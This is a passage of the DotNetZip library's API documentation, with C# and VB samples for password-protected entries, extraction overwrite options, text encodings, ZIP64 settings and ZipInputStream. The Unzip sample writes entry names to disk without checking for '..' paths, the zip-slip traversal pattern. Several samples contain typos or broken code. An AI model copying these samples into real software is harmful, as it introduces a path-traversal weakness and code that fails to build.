class also has a + property. This property takes precedence over any password set on the + ZipFile itself. Typically, you would use the per-entry Password when most + entries in the zip archive use one password, and a few entries use a + different password. If all entries in the zip file use the same password, + then it is simpler to just set this property on the ZipFile itself, + whether creating a zip archive or extracting a zip archive. + + + + Some comments on updating archives: If you read a ZipFile, you + cannot modify the password on any encrypted entry, except by extracting + the entry with the original password (if any), removing the original entry + via , and then adding a new + entry with a new Password. + + + + For example, suppose you read a ZipFile, and there is an encrypted + entry. Setting the Password property on that ZipEntry and then + calling Save() on the ZipFile does not update the password + on that entry in the archive. Neither is an exception thrown. Instead, + what happens during the Save() is the existing entry is copied + through to the new zip archive, in its original encrypted form. Upon + re-reading that archive, the entry can be decrypted with its original + password. + + + + If you read a ZipFile, and there is an un-encrypted entry, you can set the + Password on the entry and then call Save() on the ZipFile, and get + encryption on that entry. + + + + + + + This example creates a zip file with two entries, and then extracts the + entries from the zip file. When creating the zip file, the two files are + added to the zip file using password protection. Each entry uses a + different password. During extraction, each file is extracted with the + appropriate password. + + + // create a file with encryption + using (ZipFile zip = new ZipFile()) + { + ZipEntry entry; + entry= zip.AddFile("Declaration.txt"); + entry.Password= "123456!"; + entry = zip.AddFile("Report.xls"); + entry.Password= "1Secret!"; + zip.Save("EncryptedArchive.zip"); + } + + // extract entries that use encryption + using (ZipFile zip = ZipFile.Read("EncryptedArchive.zip")) + { + ZipEntry entry; + entry = zip["Declaration.txt"]; + entry.Password = "123456!"; + entry.Extract("extractDir"); + entry = zip["Report.xls"]; + entry.Password = "1Secret!"; + entry.Extract("extractDir"); + } + + + + + Using zip As New ZipFile + Dim entry as ZipEntry + entry= zip.AddFile("Declaration.txt") + entry.Password= "123456!" + entry = zip.AddFile("Report.xls") + entry.Password= "1Secret!" + zip.Save("EncryptedArchive.zip") + End Using + + + ' extract entries that use encryption + Using (zip as ZipFile = ZipFile.Read("EncryptedArchive.zip")) + Dim entry as ZipEntry + entry = zip("Declaration.txt") + entry.Password = "123456!" + entry.Extract("extractDir") + entry = zip("Report.xls") + entry.Password = "1Secret!" + entry.Extract("extractDir") + End Using + + + + + + + ZipFile.Password + + + + The action the library should take when extracting a file that already exists. + + + + + This property affects the behavior of the Extract methods (one of the + Extract() or ExtractWithPassword() overloads), when + extraction would would overwrite an existing filesystem file. If you do + not set this property, the library throws an exception when extracting + an entry would overwrite an existing file. + + + + This property has no effect when extracting to a stream, or when the file to be + extracted does not already exist. + + + + + + + This example shows how to set the ExtractExistingFile property in + an ExtractProgress event, in response to user input. The + ExtractProgress event is invoked if and only if the + ExtractExistingFile property was previously set to + ExtractExistingFileAction.InvokeExtractProgressEvent. + + public static void ExtractProgress(object sender, ExtractProgressEventArgs e) + { + if (e.EventType == ZipProgressEventType.Extracting_BeforeExtractEntry) + Console.WriteLine("extract {0} ", e.CurrentEntry.FileName); + + else if (e.EventType == ZipProgressEventType.Extracting_ExtractEntryWouldOverwrite) + { + ZipEntry entry = e.CurrentEntry; + string response = null; + // Ask the user if he wants overwrite the file + do + { + Console.Write("Overwrite {0} in {1} ? (y/n/C) ", entry.FileName, e.ExtractLocation); + response = Console.ReadLine(); + Console.WriteLine(); + + } while (response != null && response[0]!='Y' && + response[0]!='N' && response[0]!='C'); + + if (response[0]=='C') + e.Cancel = true; + else if (response[0]=='Y') + entry.ExtractExistingFile = ExtractExistingFileAction.OverwriteSilently; + else + entry.ExtractExistingFile= ExtractExistingFileAction.DoNotOverwrite; + } + } + + + + + + The action to take when an error is encountered while + opening or reading files as they are saved into a zip archive. + + + + + Errors can occur within a call to ZipFile.Save, as the various files contained + in a ZipFile are being saved into the zip archive. During the + Save, DotNetZip will perform a File.Open on the file + associated to the ZipEntry, and then will read the entire contents of + the file as it is zipped. Either the open or the Read may fail, because + of lock conflicts or other reasons. Using this property, you can + specify the action to take when such errors occur. + + + + Typically you will NOT set this property on individual ZipEntry + instances. Instead, you will set the ZipFile.ZipErrorAction property on + the ZipFile instance, before adding any entries to the + ZipFile. If you do this, errors encountered on behalf of any of + the entries in the ZipFile will be handled the same way. + + + + But, if you use a handler, you will want + to set this property on the ZipEntry within the handler, to + communicate back to DotNetZip what you would like to do with the + particular error. + + + + + + + + + Indicates whether the entry was included in the most recent save. + + + An entry can be excluded or skipped from a save if there is an error + opening or reading the entry. + + + + + + A callback that allows the application to specify the compression to use + for a given entry that is about to be added to the zip archive. + + + + + See + + + + + + Set to indicate whether to use UTF-8 encoding for filenames and comments. + + + + + + If this flag is set, the comment and filename for the entry will be + encoded with UTF-8, as described in the Zip + specification, if necessary. "Necessary" means, the filename or + entry comment (if any) cannot be reflexively encoded and decoded using the + default code page, IBM437. + + + + Setting this flag to true is equivalent to setting to System.Text.Encoding.UTF8. + + + + This flag has no effect or relation to the text encoding used within the + file itself. + + + + + + + The text encoding to use for the FileName and Comment on this ZipEntry, + when the default encoding is insufficient. + + + + + + Don't use this property. See . + + + + + + + Specifies the alternate text encoding used by this ZipEntry + + + + The default text encoding used in Zip files for encoding filenames and + comments is IBM437, which is something like a superset of ASCII. In + cases where this is insufficient, applications can specify an + alternate encoding. + + + When creating a zip file, the usage of the alternate encoding is + governed by the property. + Typically you would set both properties to tell DotNetZip to employ an + encoding that is not IBM437 in the zipfile you are creating. + + + Keep in mind that because the ZIP specification states that the only + valid encodings to use are IBM437 and UTF-8, if you use something + other than that, then zip tools and libraries may not be able to + successfully read the zip archive you generate. + + + The zip specification states that applications should presume that + IBM437 is in use, except when a special bit is set, which indicates + UTF-8. There is no way to specify an arbitrary code page, within the + zip file itself. When you create a zip file encoded with gb2312 or + ibm861 or anything other than IBM437 or UTF-8, then the application + that reads the zip file needs to "know" which code page to use. In + some cases, the code page used when reading is chosen implicitly. For + example, WinRar uses the ambient code page for the host desktop + operating system. The pitfall here is that if you create a zip in + Copenhagen and send it to Tokyo, the reader of the zipfile may not be + able to decode successfully. + + + + This example shows how to create a zipfile encoded with a + language-specific encoding: + + using (var zip = new ZipFile()) + { + zip.AlternateEnoding = System.Text.Encoding.GetEncoding("ibm861"); + zip.AlternateEnodingUsage = ZipOption.Always; + zip.AddFileS(arrayOfFiles); + zip.Save("Myarchive-Encoded-in-IBM861.zip"); + } + + + + + + + Describes if and when this instance should apply + AlternateEncoding to encode the FileName and Comment, when + saving. + + + + + + Indicates whether an entry is marked as a text file. Be careful when + using on this property. Unless you have a good reason, you should + probably ignore this property. + + + + + The ZIP format includes a provision for specifying whether an entry in + the zip archive is a text or binary file. This property exposes that + metadata item. Be careful when using this property: It's not clear + that this property as a firm meaning, across tools and libraries. + + + + To be clear, when reading a zip file, the property value may or may + not be set, and its value may or may not be valid. Not all entries + that you may think of as "text" entries will be so marked, and entries + marked as "text" are not guaranteed in any way to be text entries. + Whether the value is set and set correctly depends entirely on the + application that produced the zip file. + + + + There are many zip tools available, and when creating zip files, some + of them "respect" the IsText metadata field, and some of them do not. + Unfortunately, even when an application tries to do "the right thing", + it's not always clear what "the right thing" is. + + + + There's no firm definition of just what it means to be "a text file", + and the zip specification does not help in this regard. Twenty years + ago, text was ASCII, each byte was less than 127. IsText meant, all + bytes in the file were less than 127. These days, it is not the case + that all text files have all bytes less than 127. Any unicode file + may have bytes that are above 0x7f. The zip specification has nothing + to say on this topic. Therefore, it's not clear what IsText really + means. + + + + This property merely tells a reading application what is stored in the + metadata for an entry, without guaranteeing its validity or its + meaning. + + + + When DotNetZip is used to create a zipfile, it attempts to set this + field "correctly." For example, if a file ends in ".txt", this field + will be set. Your application may override that default setting. When + writing a zip file, you must set the property before calling + Save() on the ZipFile. + + + + When reading a zip file, a more general way to decide just what kind + of file is contained in a particular entry is to use the file type + database stored in the operating system. The operating system stores + a table that says, a file with .jpg extension is a JPG image file, a + file with a .xml extension is an XML document, a file with a .txt is a + pure ASCII text document, and so on. To get this information on + Windows, you + need to read and parse the registry. + + + + + using (var zip = new ZipFile()) + { + var e = zip.UpdateFile("Descriptions.mme", ""); + e.IsText = true; + zip.Save(zipPath); + } + + + + Using zip As New ZipFile + Dim e2 as ZipEntry = zip.AddFile("Descriptions.mme", "") + e.IsText= True + zip.Save(zipPath) + End Using + + + + + Provides a string representation of the instance. + a string representation of the instance. + + + + Extract the entry to the filesystem, starting at the current + working directory. + + + + This method has a bunch of overloads! One of them is sure to + be the right one for you... If you don't like these, check + out the ExtractWithPassword() methods. + + + + + + + + + This method extracts an entry from a zip file into the current + working directory. The path of the entry as extracted is the full + path as specified in the zip archive, relative to the current + working directory. After the file is extracted successfully, the + file attributes and timestamps are set. + + + + The action taken when extraction an entry would overwrite an + existing file is determined by the property. + + + + Within the call to Extract(), the content for the entry is + written into a filesystem file, and then the last modified time of the + file is set according to the property on + the entry. See the remarks the property for + some details about the last modified time. + + + + + + + Extract the entry to a file in the filesystem, using the specified + behavior when extraction would overwrite an existing file. + + + + + See the remarks on the property, for some + details about how the last modified time of the file is set after + extraction. + + + + + The action to take if extraction would overwrite an existing file. + + + + + Extracts the entry to the specified stream. + + + + + The caller can specify any write-able stream, for example a , a , or ASP.NET's + Response.OutputStream. The content will be decrypted and + decompressed as necessary. If the entry is encrypted and no password + is provided, this method will throw. + + + The position on the stream is not reset by this method before it extracts. + You may want to call stream.Seek() before calling ZipEntry.Extract(). + + + + + the stream to which the entry should be extracted. + + + + + + Extract the entry to the filesystem, starting at the specified base + directory. + + + the pathname of the base directory + + + + + + This example extracts only the entries in a zip file that are .txt files, + into a directory called "textfiles". + + using (ZipFile zip = ZipFile.Read("PackedDocuments.zip")) + { + foreach (string s1 in zip.EntryFilenames) + { + if (s1.EndsWith(".txt")) + { + zip[s1].Extract("textfiles"); + } + } + } + + + Using zip As ZipFile = ZipFile.Read("PackedDocuments.zip") + Dim s1 As String + For Each s1 In zip.EntryFilenames + If s1.EndsWith(".txt") Then + zip(s1).Extract("textfiles") + End If + Next + End Using + + + + + + + Using this method, existing entries in the filesystem will not be + overwritten. If you would like to force the overwrite of existing + files, see the property, or call + . + + + + See the remarks on the property, for some + details about how the last modified time of the created file is set. + + + + + + Extract the entry to the filesystem, starting at the specified base + directory, and using the specified behavior when extraction would + overwrite an existing file. + + + + + See the remarks on the property, for some + details about how the last modified time of the created file is set. + + + + + + String sZipPath = "Airborne.zip"; + String sFilePath = "Readme.txt"; + String sRootFolder = "Digado"; + using (ZipFile zip = ZipFile.Read(sZipPath)) + { + if (zip.EntryFileNames.Contains(sFilePath)) + { + // use the string indexer on the zip file + zip[sFileName].Extract(sRootFolder, + ExtractExistingFileAction.OverwriteSilently); + } + } + + + + Dim sZipPath as String = "Airborne.zip" + Dim sFilePath As String = "Readme.txt" + Dim sRootFolder As String = "Digado" + Using zip As ZipFile = ZipFile.Read(sZipPath) + If zip.EntryFileNames.Contains(sFilePath) + ' use the string indexer on the zip file + zip(sFilePath).Extract(sRootFolder, _ + ExtractExistingFileAction.OverwriteSilently) + End If + End Using + + + + the pathname of the base directory + + The action to take if extraction would overwrite an existing file. + + + + + Extract the entry to the filesystem, using the current working directory + and the specified password. + + + + This method has a bunch of overloads! One of them is sure to be + the right one for you... + + + + + + + + + Existing entries in the filesystem will not be overwritten. If you + would like to force the overwrite of existing files, see the property, or call + . + + + + See the remarks on the property for some + details about how the "last modified" time of the created file is + set. + + + + + In this example, entries that use encryption are extracted using a + particular password. + + using (var zip = ZipFile.Read(FilePath)) + { + foreach (ZipEntry e in zip) + { + if (e.UsesEncryption) + e.ExtractWithPassword("Secret!"); + else + e.Extract(); + } + } + + + Using zip As ZipFile = ZipFile.Read(FilePath) + Dim e As ZipEntry + For Each e In zip + If (e.UsesEncryption) + e.ExtractWithPassword("Secret!") + Else + e.Extract + End If + Next + End Using + + + The Password to use for decrypting the entry. + + + + Extract the entry to the filesystem, starting at the specified base + directory, and using the specified password. + + + + + + + + Existing entries in the filesystem will not be overwritten. If you + would like to force the overwrite of existing files, see the property, or call + . + + + + See the remarks on the property, for some + details about how the last modified time of the created file is set. + + + + The pathname of the base directory. + The Password to use for decrypting the entry. + + + + Extract the entry to a file in the filesystem, relative to the + current directory, using the specified behavior when extraction + would overwrite an existing file. + + + + + See the remarks on the property, for some + details about how the last modified time of the created file is set. + + + + The Password to use for decrypting the entry. + + + The action to take if extraction would overwrite an existing file. + + + + + Extract the entry to the filesystem, starting at the specified base + directory, and using the specified behavior when extraction would + overwrite an existing file. + + + + See the remarks on the property, for some + details about how the last modified time of the created file is set. + + + the pathname of the base directory + + The action to take if extraction would + overwrite an existing file. + + The Password to use for decrypting the entry. + + + + Extracts the entry to the specified stream, using the specified + Password. For example, the caller could extract to Console.Out, or + to a MemoryStream. + + + + + The caller can specify any write-able stream, for example a , a , or ASP.NET's + Response.OutputStream. The content will be decrypted and + decompressed as necessary. If the entry is encrypted and no password + is provided, this method will throw. + + + The position on the stream is not reset by this method before it extracts. + You may want to call stream.Seek() before calling ZipEntry.Extract(). + + + + + + the stream to which the entry should be extracted. + + + The password to use for decrypting the entry. + + + + + Opens a readable stream corresponding to the zip entry in the + archive. The stream decompresses and decrypts as necessary, as it + is read. + + + + + + DotNetZip offers a variety of ways to extract entries from a zip + file. This method allows an application to extract an entry by + reading a . + + + + The return value is of type . Use it as you would any + stream for reading. When an application calls on that stream, it will + receive data from the zip entry that is decrypted and decompressed + as necessary. + + + + CrcCalculatorStream adds one additional feature: it keeps a + CRC32 checksum on the bytes of the stream as it is read. The CRC + value is available in the property on the + CrcCalculatorStream. When the read is complete, your + application + should check this CRC against the + property on the ZipEntry to validate the content of the + ZipEntry. You don't have to validate the entry using the CRC, but + you should, to verify integrity. Check the example for how to do + this. + + + + If the entry is protected with a password, then you need to provide + a password prior to calling , either by + setting the property on the entry, or the + property on the ZipFile + itself. Or, you can use , the + overload of OpenReader that accepts a password parameter. + + + + If you want to extract entry data into a write-able stream that is + already opened, like a , do not + use this method. Instead, use . + + + + Your application may use only one stream created by OpenReader() at + a time, and you should not call other Extract methods before + completing your reads on a stream obtained from OpenReader(). This + is because there is really only one source stream for the compressed + content. A call to OpenReader() seeks in the source stream, to the + beginning of the compressed content. A subsequent call to + OpenReader() on a different entry will seek to a different position + in the source stream, as will a call to Extract() or one of its + overloads. This will corrupt the state for the decompressing stream + from the original call to OpenReader(). + + + + The OpenReader() method works only when the ZipEntry is + obtained from an instance of ZipFile. This method will throw + an exception if the ZipEntry is obtained from a . + + + + + This example shows how to open a zip archive, then read in a named + entry via a stream. After the read loop is complete, the code + compares the calculated during the read loop with the expected CRC + on the ZipEntry, to verify the extraction. + + using (ZipFile zip = new ZipFile(ZipFileToRead)) + { + ZipEntry e1= zip["Elevation.mp3"]; + using (Ionic.Zlib.CrcCalculatorStream s = e1.OpenReader()) + { + byte[] buffer = new byte[4096]; + int n, totalBytesRead= 0; + do { + n = s.Read(buffer,0, buffer.Length); + totalBytesRead+=n; + } while (n>0); + if (s.Crc32 != e1.Crc32) + throw new Exception(string.Format("The Zip Entry failed the CRC Check. (0x{0:X8}!=0x{1:X8})", s.Crc32, e1.Crc32)); + if (totalBytesRead != e1.UncompressedSize) + throw new Exception(string.Format("We read an unexpected number of bytes. ({0}!={1})", totalBytesRead, e1.UncompressedSize)); + } + } + + + Using zip As New ZipFile(ZipFileToRead) + Dim e1 As ZipEntry = zip.Item("Elevation.mp3") + Using s As Ionic.Zlib.CrcCalculatorStream = e1.OpenReader + Dim n As Integer + Dim buffer As Byte() = New Byte(4096) {} + Dim totalBytesRead As Integer = 0 + Do + n = s.Read(buffer, 0, buffer.Length) + totalBytesRead = (totalBytesRead + n) + Loop While (n > 0) + If (s.Crc32 <> e1.Crc32) Then + Throw New Exception(String.Format("The Zip Entry failed the CRC Check. (0x{0:X8}!=0x{1:X8})", s.Crc32, e1.Crc32)) + End If + If (totalBytesRead <> e1.UncompressedSize) Then + Throw New Exception(String.Format("We read an unexpected number of bytes. ({0}!={1})", totalBytesRead, e1.UncompressedSize)) + End If + End Using + End Using + + + + The Stream for reading. + + + + Opens a readable stream for an encrypted zip entry in the archive. + The stream decompresses and decrypts as necessary, as it is read. + + + + + See the documentation on the method for + full details. This overload allows the application to specify a + password for the ZipEntry to be read. + + + + The password to use for decrypting the entry. + The Stream for reading. + + + + Pass in either basedir or s, but not both. + In other words, you can extract to a stream or to a directory (filesystem), but not both! + The Password param is required for encrypted entries. + + + + + Extract to a stream + In other words, you can extract to a stream or to a directory (filesystem), but not both! + The Password param is required for encrypted entries. + + + + + Validates that the args are consistent; returning whether the caller can return + because it's done, or not (caller should continue) + + + + + Validates that the args are consistent; returning whether the caller can return + because it's done, or not (caller should continue) + + + + + Reads one ZipEntry from the given stream. The content for + the entry does not get decompressed or decrypted. This method + basically reads metadata, and seeks. + + the ZipContainer this entry belongs to. + + true of this is the first entry being read from the stream. + + the ZipEntry read from the stream. + + + + Finds a particular segment in the given extra field. + This is used when modifying a previously-generated + extra field, in particular when removing the AES crypto + segment in the extra field. + + + + + At current cursor position in the stream, read the extra + field, and set the properties on the ZipEntry instance + appropriately. This can be called when processing the + Extra field in the Central Directory, or in the local + header. + + + + + generate and return a byte array that encodes the filename + for the entry. + + + + side effects: generate and store into _CommentBytes the + byte array for any comment attached to the entry. Also + sets _actualEncoding to indicate the actual encoding + used. The same encoding is used for both filename and + comment. + + + + + + Stores the position of the entry source stream, or, if the position is + already stored, seeks to that position. + + + + + This method is called in prep for reading the source stream. If PKZIP + encryption is used, then we need to calc the CRC32 before doing the + encryption, because the CRC is used in the 12th byte of the PKZIP + encryption header. So, we need to be able to seek backward in the source + when saving the ZipEntry. This method is called from the place that + calculates the CRC, and also from the method that does the encryption of + the file data. + + + + The first time through, this method sets the _sourceStreamOriginalPosition + field. Subsequent calls to this method seek to that position. + + + + + + Copy metadata that may have been changed by the app. We do this when + resetting the zipFile instance. If the app calls Save() on a ZipFile, then + tries to party on that file some more, we may need to Reset() it , which + means re-reading the entries and then copying the metadata. I think. + + + + + Set the input stream and get its length, if possible. The length is + used for progress updates, AND, to allow an optimization in case of + a stream/file of zero length. In that case we skip the Encrypt and + compression Stream. (like DeflateStream or BZip2OutputStream) + + + + + Prepare the given stream for output - wrap it in a CountingStream, and + then in a CRC stream, and an encryptor and deflator as appropriate. + + + + Previously this was used in ZipEntry.Write(), but in an effort to + introduce some efficiencies in that method I've refactored to put the + code inline. This method still gets called by ZipOutputStream. + + + + + + An enum that specifies the type of timestamp available on the ZipEntry. + + + + + + The last modified time of a file can be stored in multiple ways in + a zip file, and they are not mutually exclusive: + + + + + In the so-called "DOS" format, which has a 2-second precision. Values + are rounded to the nearest even second. For example, if the time on the + file is 12:34:43, then it will be stored as 12:34:44. This first value + is accessible via the LastModified property. This value is always + present in the metadata for each zip entry. In some cases the value is + invalid, or zero. + + + + In the so-called "Windows" or "NTFS" format, as an 8-byte integer + quantity expressed as the number of 1/10 milliseconds (in other words + the number of 100 nanosecond units) since January 1, 1601 (UTC). This + format is how Windows represents file times. This time is accessible + via the ModifiedTime property. + + + + In the "Unix" format, a 4-byte quantity specifying the number of seconds since + January 1, 1970 UTC. + + + + In an older format, now deprecated but still used by some current + tools. This format is also a 4-byte quantity specifying the number of + seconds since January 1, 1970 UTC. + + + + + + This bit field describes which of the formats were found in a ZipEntry that was read. + + + + + + + Default value. + + + + + A DOS timestamp with 2-second precision. + + + + + A Windows timestamp with 100-ns precision. + + + + + A Unix timestamp with 1-second precision. + + + + + A Unix timestamp with 1-second precision, stored in InfoZip v1 format. This + format is outdated and is supported for reading archives only. + + + + + The method of compression to use for a particular ZipEntry. + + + + PKWare's + ZIP Specification describes a number of distinct + compression methods that can be used within a zip + file. DotNetZip supports a subset of them. + + + + + No compression at all. For COM environments, the value is 0 (zero). + + + + + DEFLATE compression, as described in IETF RFC + 1951. This is the "normal" compression used in zip + files. For COM environments, the value is 8. + + + + + DEFLATE64 compression. (Decompress only). + For COM environments, the value is 9. + + + + + BZip2 compression, a compression algorithm developed by Julian Seward. + For COM environments, the value is 12. + + + + + An enum that specifies the source of the ZipEntry. + + + + + Default value. Invalid on a bonafide ZipEntry. + + + + + The entry was instantiated by calling AddFile() or another method that + added an entry from the filesystem. + + + + + The entry was instantiated via or + . + + + + + The ZipEntry was instantiated by reading a zipfile. + + + + + The content for the ZipEntry will be or was provided by the WriteDelegate. + + + + + The content for the ZipEntry will be obtained from the stream dispensed by the OpenDelegate. + The entry was instantiated via . + + + + + The content for the ZipEntry will be or was obtained from a ZipOutputStream. + + + + + An enum providing the options when an error occurs during opening or reading + of a file or directory that is being saved to a zip file. + + + + + This enum describes the actions that the library can take when an error occurs + opening or reading a file, as it is being saved into a Zip archive. + + + + In some cases an error will occur when DotNetZip tries to open a file to be + added to the zip archive. In other cases, an error might occur after the + file has been successfully opened, while DotNetZip is reading the file. + + + + The first problem might occur when calling AddDirectory() on a directory + that contains a Clipper .dbf file; the file is locked by Clipper and + cannot be opened by another process. An example of the second problem is + the ERROR_LOCK_VIOLATION that results when a file is opened by another + process, but not locked, and a range lock has been taken on the file. + Microsoft Outlook takes range locks on .PST files. + + + + + + Throw an exception when an error occurs while zipping. This is the default + behavior. (For COM clients, this is a 0 (zero).) + + + + + When an error occurs during zipping, for example a file cannot be opened, + skip the file causing the error, and continue zipping. (For COM clients, + this is a 1.) + + + + + When an error occurs during zipping, for example a file cannot be opened, + retry the operation that caused the error. Be careful with this option. If + the error is not temporary, the library will retry forever. (For COM + clients, this is a 2.) + + + + + When an error occurs, invoke the zipError event. The event type used is + . A typical use of this option: + a GUI application may wish to pop up a dialog to allow the user to view the + error that occurred, and choose an appropriate action. After your + processing in the error event, if you want to skip the file, set on the + ZipProgressEventArgs.CurrentEntry to Skip. If you want the + exception to be thrown, set ZipErrorAction on the CurrentEntry + to Throw. If you want to cancel the zip, set + ZipProgressEventArgs.Cancel to true. Cancelling differs from using + Skip in that a cancel will not save any further entries, if there are any. + (For COM clients, the value of this enum is a 3.) + + + + + Options for using ZIP64 extensions when saving zip archives. + + + + + + Designed many years ago, the original zip + specification from PKWARE allowed for 32-bit quantities for the + compressed and uncompressed sizes of zip entries, as well as a 32-bit quantity + for specifying the length of the zip archive itself, and a maximum of 65535 + entries. These limits are now regularly exceeded in many backup and archival + scenarios. Recently, PKWare added extensions to the original zip spec, called + "ZIP64 extensions", to raise those limitations. This property governs whether + DotNetZip will use those extensions when writing zip archives. The use of + these extensions is optional and explicit in DotNetZip because, despite the + status of ZIP64 as a bona fide standard, many other zip tools and libraries do + not support ZIP64, and therefore a zip file with ZIP64 extensions may be + unreadable by some of those other tools. + + + + Set this property to to always use ZIP64 + extensions when saving, regardless of whether your zip archive needs it. + Suppose you add 5 files, each under 100k, to a ZipFile. If you specify Always + for this flag, you will get a ZIP64 archive, though the archive does not need + to use ZIP64 because none of the original zip limits had been exceeded. + + + + Set this property to to tell the DotNetZip + library to never use ZIP64 extensions. This is useful for maximum + compatibility and interoperability, at the expense of the capability of + handling large files or large archives. NB: Windows Explorer in Windows XP + and Windows Vista cannot currently extract files from a zip64 archive, so if + you want to guarantee that a zip archive produced by this library will work in + Windows Explorer, use Never. If you set this property to , and your application creates a zip that would + exceed one of the Zip limits, the library will throw an exception while saving + the zip file. + + + + Set this property to to tell the + DotNetZip library to use the ZIP64 extensions when required by the + entry. After the file is compressed, the original and compressed sizes are + checked, and if they exceed the limits described above, then zip64 can be + used. That is the general idea, but there is an additional wrinkle when saving + to a non-seekable device, like the ASP.NET Response.OutputStream, or + Console.Out. When using non-seekable streams for output, the entry + header - which indicates whether zip64 is in use - is emitted before it is + known if zip64 is necessary. It is only after all entries have been saved + that it can be known if ZIP64 will be required. On seekable output streams, + after saving all entries, the library can seek backward and re-emit the zip + file header to be consistent with the actual ZIP64 requirement. But using a + non-seekable output stream, the library cannot seek backward, so the header + can never be changed. In other words, the archive's use of ZIP64 extensions is + not alterable after the header is emitted. Therefore, when saving to + non-seekable streams, using is the same + as using : it will always produce a zip + archive that uses ZIP64 extensions. + + + + + + + The default behavior, which is "Never". + (For COM clients, this is a 0 (zero).) + + + + + Do not use ZIP64 extensions when writing zip archives. + (For COM clients, this is a 0 (zero).) + + + + + Use ZIP64 extensions when writing zip archives, as necessary. + For example, when a single entry exceeds 0xFFFFFFFF in size, or when the archive as a whole + exceeds 0xFFFFFFFF in size, or when there are more than 65535 entries in an archive. + (For COM clients, this is a 1.) + + + + + Always use ZIP64 extensions when writing zip archives, even when unnecessary. + (For COM clients, this is a 2.) + + + + + An enum representing the values on a three-way toggle switch + for various options in the library. This might be used to + specify whether to employ a particular text encoding, or to use + ZIP64 extensions, or some other option. + + + + + The default behavior. This is the same as "Never". + (For COM clients, this is a 0 (zero).) + + + + + Never use the associated option. + (For COM clients, this is a 0 (zero).) + + + + + Use the associated behavior "as necessary." + (For COM clients, this is a 1.) + + + + + Use the associated behavior Always, whether necessary or not. + (For COM clients, this is a 2.) + + + + + A class for collecting the various options that can be used when + Reading zip files for extraction or update. + + + + + When reading a zip file, there are several options an + application can set, to modify how the file is read, or what + the library does while reading. This class collects those + options into one container. + + + + Pass an instance of the ReadOptions class into the + ZipFile.Read() method. + + + . + . + + + + + An event handler for Read operations. When opening large zip + archives, you may want to display a progress bar or other + indicator of status progress while reading. This parameter + allows you to specify a ReadProgress Event Handler directly. + When you call Read(), the progress event is invoked as + necessary. + + + + + The System.IO.TextWriter to use for writing verbose status messages + during operations on the zip archive. A console application may wish to + pass System.Console.Out to get messages on the Console. A graphical + or headless application may wish to capture the messages in a different + TextWriter, such as a System.IO.StringWriter. + + + + + The System.Text.Encoding to use when reading in the zip archive. Be + careful specifying the encoding. If the value you use here is not the same + as the Encoding used when the zip archive was created (possibly by a + different archiver) you will get unexpected results and possibly exceptions. + + + + + + + + Provides a stream metaphor for reading zip files. + + + + + This class provides an alternative programming model for reading zip files to + the one enabled by the class. Use this when reading zip + files, as an alternative to the class, when you would + like to use a Stream class to read the file. + + + + Some application designs require a readable stream for input. This stream can + be used to read a zip file, and extract entries. + + + + Both the ZipInputStream class and the ZipFile class can be used + to read and extract zip files. Both of them support many of the common zip + features, including Unicode, different compression levels, and ZIP64. The + programming models differ. For example, when extracting entries via calls to + the GetNextEntry() and Read() methods on the + ZipInputStream class, the caller is responsible for creating the file, + writing the bytes into the file, setting the attributes on the file, and + setting the created, last modified, and last accessed timestamps on the + file. All of these things are done automatically by a call to ZipEntry.Extract(). For this reason, the + ZipInputStream is generally recommended for when your application wants + to extract the data, without storing that data into a file. + + + + Aside from the obvious differences in programming model, there are some + differences in capability between the ZipFile class and the + ZipInputStream class. + + + + + ZipFile can be used to create or update zip files, or read and + extract zip files. ZipInputStream can be used only to read and + extract zip files. If you want to use a stream to create zip files, check + out the . + + + + ZipInputStream cannot read segmented or spanned + zip files. + + + + ZipInputStream will not read Zip file comments. + + + + When reading larger files, ZipInputStream will always underperform + ZipFile. This is because the ZipInputStream does a full scan on the + zip file, while the ZipFile class reads the central directory of the + zip file. + + + + + + + + + Create a ZipInputStream, wrapping it around an existing stream. + + + + + + While the class is generally easier + to use, this class provides an alternative to those + applications that want to read from a zipfile directly, + using a . + + + + Both the ZipInputStream class and the ZipFile class can be used + to read and extract zip files. Both of them support many of the common zip + features, including Unicode, different compression levels, and ZIP64. The + programming models differ. For example, when extracting entries via calls to + the GetNextEntry() and Read() methods on the + ZipInputStream class, the caller is responsible for creating the file, + writing the bytes into the file, setting the attributes on the file, and + setting the created, last modified, and last accessed timestamps on the + file. All of these things are done automatically by a call to ZipEntry.Extract(). For this reason, the + ZipInputStream is generally recommended for when your application wants + to extract the data, without storing that data into a file. + + + + Aside from the obvious differences in programming model, there are some + differences in capability between the ZipFile class and the + ZipInputStream class. + + + + + ZipFile can be used to create or update zip files, or read and extract + zip files. ZipInputStream can be used only to read and extract zip + files. If you want to use a stream to create zip files, check out the . + + + + ZipInputStream cannot read segmented or spanned + zip files. + + + + ZipInputStream will not read Zip file comments. + + + + When reading larger files, ZipInputStream will always underperform + ZipFile. This is because the ZipInputStream does a full scan on the + zip file, while the ZipFile class reads the central directory of the + zip file. + + + + + + + + The stream to read. It must be readable. This stream will be closed at + the time the ZipInputStream is closed. + + + + + This example shows how to read a zip file, and extract entries, using the + ZipInputStream class. + + + private void Unzip() + { + byte[] buffer= new byte[2048]; + int n; + using (var raw = File.Open(inputFileName, FileMode.Open, FileAccess.Read)) + { + using (var input= new ZipInputStream(raw)) + { + ZipEntry e; + while (( e = input.GetNextEntry()) != null) + { + if (e.IsDirectory) continue; + string outputPath = Path.Combine(extractDir, e.FileName); + using (var output = File.Open(outputPath, FileMode.Create, FileAccess.ReadWrite)) + { + while ((n= input.Read(buffer, 0, buffer.Length)) > 0) + { + output.Write(buffer,0,n); + } + } + } + } + } + } + + + + Private Sub UnZip() + Dim inputFileName As String = "MyArchive.zip" + Dim extractDir As String = "extract" + Dim buffer As Byte() = New Byte(2048) {} + Using raw As FileStream = File.Open(inputFileName, FileMode.Open, FileAccess.Read) + Using input As ZipInputStream = New ZipInputStream(raw) + Dim e As ZipEntry + Do While (Not e = input.GetNextEntry Is Nothing) + If Not e.IsDirectory Then + Using output As FileStream = File.Open(Path.Combine(extractDir, e.FileName), _ + FileMode.Create, FileAccess.ReadWrite) + Dim n As Integer + Do While (n = input.Read(buffer, 0, buffer.Length) > 0) + output.Write(buffer, 0, n) + Loop + End Using + End If + Loop + End Using + End Using + End Sub + + + + + + Create a ZipInputStream, given the name of an existing zip file. + + + + + + This constructor opens a FileStream for the given zipfile, and + wraps a ZipInputStream around that. See the documentation for the + constructor for full details. + + + + While the class is generally easier + to use, this class provides an alternative to those + applications that want to read from a zipfile directly, + using a . + + + + + + The name of the filesystem file to read. + + + + + This example shows how to read a zip file, and extract entries, using the + ZipInputStream class. + + + private void Unzip() + { + byte[] buffer= new byte[2048]; + int n; + using (var input= new 